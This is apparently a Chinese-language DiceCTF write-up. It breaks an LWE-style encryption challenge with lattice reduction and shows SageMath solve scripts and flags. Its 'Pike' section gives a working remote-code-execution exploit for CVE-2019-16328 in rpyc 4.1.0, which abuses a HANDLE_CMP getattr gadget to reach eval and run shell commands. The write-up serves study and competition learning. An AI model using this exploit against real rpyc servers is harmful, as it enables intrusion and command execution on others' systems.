顯然沒辦法直接解出 ,所以這題的關鍵應該和它加密的部分有關,也就是看看能不能求

我的做法是先利用 可以解出一個 符合 ,但是 顯然不是 full rank 的所以它還有個 rank 的 left kernel 在。按照定義對於 的 row vector 來說 都成立,而 又很小,所以應該能用 找到一個向量 ,然後 就是

首先這邊不能用 Babai CVP,因為就算先把對這麼大的矩陣做 LLL 要花的時間給忽略,後面它要做的 Gram Schmidt 還比它更慢。所以我是直接建一個這樣的 lattice:

顯然 裡面的 short vector,但是 是個 的矩陣,對它直接 LLL 肯定要花很多的時間。我在測試的時候真的有算過一次,花了我 2hr 40min,所以需要找個更好的方法。

做了一些測試發現說其實不需要拿整個 下去 LLL,只要選其中的 個 columns 做 LLL 之後的 shortest vector 也會是 的那幾個 columns,所以這邊的關鍵就是選個好的 在效能與正確性之間平衡。太大會很慢,太小的話我們要的目標就可能不是 shortest vector,不然就是 LLL 找不到。最後我選的 ,大概 20 秒可以完成。

再來是我發現有些時候 LLL 找到的結果不是我們要的,所以我在選 columns 是用 radnom shuffle 之後再選的。最後是它找到的 vector 有可能是正的也可能是負的,所以還要爆一下正負才行。

最後得到 之後就用 解開就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import numpy as np
import random
from itertools import product
from concurrent.futures import ProcessPoolExecutor

n = 512
# number of public key samples
m = n + 100
# plaintext modulus
p = 257
# ciphertext modulus
q = 1048583
F = GF(q)
pinv = inverse_mod(p, q)


x = np.load("data.npz")
pk_A = matrix(F, x["pk_A"])
pk_b = vector(F, x["pk_b"])
encrypt_A = [vector(F, y) for y in x["encrypt_A"]]
encrypt_b = [F(y) for y in x["encrypt_b"]]


def solve(L, sel):
R = L[:, sel].LLL()
for row in R:
if row != 0:
return row
return None


def get_sols(L, t=150):
# L is pretty big, so we sample random t columns to improve running time
# t=150 is chosen by trial and error...
cols = list(range(m))
random.shuffle(cols)
sols = []
for i in range(0, m, t):
sel = cols[i : i + t]
if len(sel) < t:
sel = cols[-t:]
while True:
s = solve(L, sel)
print("get_sols", i, s)
if all([-1 <= x <= 1 for x in s]):
break
print("Failed, sample more columns and try again")
sel = sel + list(random.sample(cols, 10))
sols.append((sel, s))
return sols


def decrypt_with_c(a, b, c):
m_pe = ZZ(b - c * pk_b)
if m_pe > q // 2:
m_pe -= q
m = m_pe % p
e = (m_pe - m) // p
# we check e because c may be wrong
if -10 <= e <= 10:
return m


def decrypt(a, b):
sol = pk_A.solve_left(a)
ker = pk_A.left_kernel().basis_matrix()
# assert sol * pk_A == encrypt_A[0]
# assert (sol + ker[0]) * pk_A == encrypt_A[0]
# so we use LLL to find c
L = ker.stack(sol).change_ring(ZZ)
L = L.stack(matrix.identity(m) * q)
sols = get_sols(L)
# the solution may be negative, so we try all possible signs
ret = []
for signs in product((1, -1), repeat=len(sols)):
c_vec = vector([0] * m)
for sign, (sel, s) in zip(signs, sols):
ss = sign * s
for i, x in enumerate(sel):
c_vec[x] = ss[i]
r = decrypt_with_c(a, b, c_vec)
if r is not None:
ret.append(r)
if len(ret) == 0:
print("Failed to find a solution, try again")
return decrypt(a, b)
return ret


def decrypt_ith(i):
print(i, "started", flush=True)
m = decrypt(encrypt_A[i], encrypt_b[i])
print(i, "finished", m, flush=True)
return m


with ProcessPoolExecutor(max_workers=4) as executor:
ms = list(executor.map(decrypt_ith, range(len(encrypt_b))))
print(ms)

# let's guess!
bad = [b"\\", b'"', b"/", b"#", b"\r"]
for m in product(*ms):
if all([20 <= x < 127 for x in m]):
f = bytes(m)
if f.isascii() and not any([x in f for x in bad]):
print(f)
# dice{public-key-learning-with-ease_bd2ffac0592e}

後來賽後和 @Neobeo 討論之後他告訴我他的解法和我很像,不過他多塞一個在 的 row 的旁邊加一個 (Kannan's embedding technique),然後也不用隨機選 column,還有他用用了 BKZ 而非 LLL。

我後來參考了一下那個 Kannan's embedding technique 發現說在這邊有一大好處,就是它可以用來確認 的正負,所以就不用像我上面那邊還要爆 sign。所以我把它改了一下並用 (因為 ) 來跑就弄出了一個效果更好的版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import numpy as np
import random
from itertools import product
from concurrent.futures import ProcessPoolExecutor

n = 512
# number of public key samples
m = n + 100
# plaintext modulus
p = 257
# ciphertext modulus
q = 1048583
F = GF(q)
pinv = inverse_mod(p, q)


x = np.load("data.npz")
pk_A = matrix(F, x["pk_A"])
pk_b = vector(F, x["pk_b"])
encrypt_A = [vector(F, y) for y in x["encrypt_A"]]
encrypt_b = [F(y) for y in x["encrypt_b"]]


def solve(L, sel):
# Kannan's embedding technique, and to ensure the sign is correct
L2 = L[:, sel].augment(vector([0] * (m - n) + [1] + [0] * m))
R = L2.LLL()
for row in R:
if row != 0:
if row[-1] == -1:
row = -row
return row[:-1]
return None


def get_sols(L, t=153):
# L is pretty big, so we sample random t columns to improve running time
# t=153 because t*4=m
cols = list(range(m))
random.shuffle(cols)
sols = []
for i in range(0, m, t):
sel = cols[i : i + t]
if len(sel) < t:
sel = cols[-t:]
while True:
s = solve(L, sel)
print("get_sols", i, s)
if all([-1 <= x <= 1 for x in s]):
break
print("Failed, sample more columns and try again")
sel = sel + list(random.sample(cols, 10))
sols.append((sel, s))
return sols


def decrypt_with_c(a, b, c):
m_pe = ZZ(b - c * pk_b)
if m_pe > q // 2:
m_pe -= q
m = m_pe % p
e = (m_pe - m) // p
# we check e because c may be wrong
if -10 <= e <= 10:
return m


def decrypt(a, b):
sol = pk_A.solve_left(a)
ker = pk_A.left_kernel().basis_matrix()
# assert sol * pk_A == encrypt_A[0]
# assert (sol + ker[0]) * pk_A == encrypt_A[0]
# so we use LLL to find c
L = ker.stack(sol).change_ring(ZZ)
L = L.stack(matrix.identity(m) * q)
sols = get_sols(L)
ret = []
c_vec = vector([0] * m)
for sel, s in sols:
for i, x in enumerate(sel):
c_vec[x] = s[i]
return decrypt_with_c(a, b, c_vec)


def decrypt_ith(i):
print(i, "started", flush=True)
m = decrypt(encrypt_A[i], encrypt_b[i])
print(i, "finished", m, flush=True)
return m


with ProcessPoolExecutor(max_workers=4) as executor:
ms = list(executor.map(decrypt_ith, range(len(encrypt_b))))
print(ms)
print(bytes(ms))
# dice{public-key-learning-with-ease_bd2ffac0592e}

Misc

Pike

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/local/bin/python

import rpyc
from rpyc.utils.server import ThreadedServer

class CalcService(rpyc.Service):
def exposed_add(self, l, r):
return l + r
def exposed_sub(self, l, r):
return l - r
def exposed_mul(self, l, r):
return l * r
def exposed_div(self, l, r):
return l / r

if __name__ == "__main__":
server = ThreadedServer(CalcService, port=9999)
server.start()

從附上的 Dockerfile 可知 rpyc==4.1.0,去查一下能找到 CVE-2019-16328,而相關的 commit 是 Refactored __cmp__ getattr

可知在這個版本的 rpyc 我們有個 getattr(type(obj), op)(obj, other) 的 gadget 可用

我先用 getattr(type(None),'__getattribute__')(None, '__getattribute__')('__class__') 拿到 NoneType,然後用 getattr(type(NoneType),'__getattribute__')(NoneType, '__getattribute__') 拿到 getattr(type(NoneType),'__getattribute__')(NoneType, '__getattribute__')

這個函數可以當作 getattr 使用,所以隨便串一串就能 RCE 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import rpyc
from rpyc.core import consts

# socat tcp-listen:1337,fork,reuseaddr openssl:pike-dc3c96b960664246.mc.ax:1
conn = rpyc.connect("localhost", port=1337)
# getattr(type(None),'__getattribute__')(None, '__getattribute__')('__class__')
NoneType = conn.sync_request(
consts.HANDLE_CMP, None, "__getattribute__", "__getattribute__"
)("__class__")
# getattr(type(NoneType),'__getattribute__')(NoneType, '__getattribute__')
g = conn.sync_request(
consts.HANDLE_CMP, NoneType, "__getattribute__", "__getattribute__"
)
CalcService = g(conn.root, "__class__")
exposed_add = g(CalcService, "exposed_add")
init = g(exposed_add, "__init__")
gl = g(exposed_add, "__globals__")
builtins = gl["__builtins__"]
print(builtins)
eval = g(builtins, "eval")
print(eval('__import__("os").popen("cat flag.txt").read()'))
# dice{pyj41l_w1th_4_tw15t}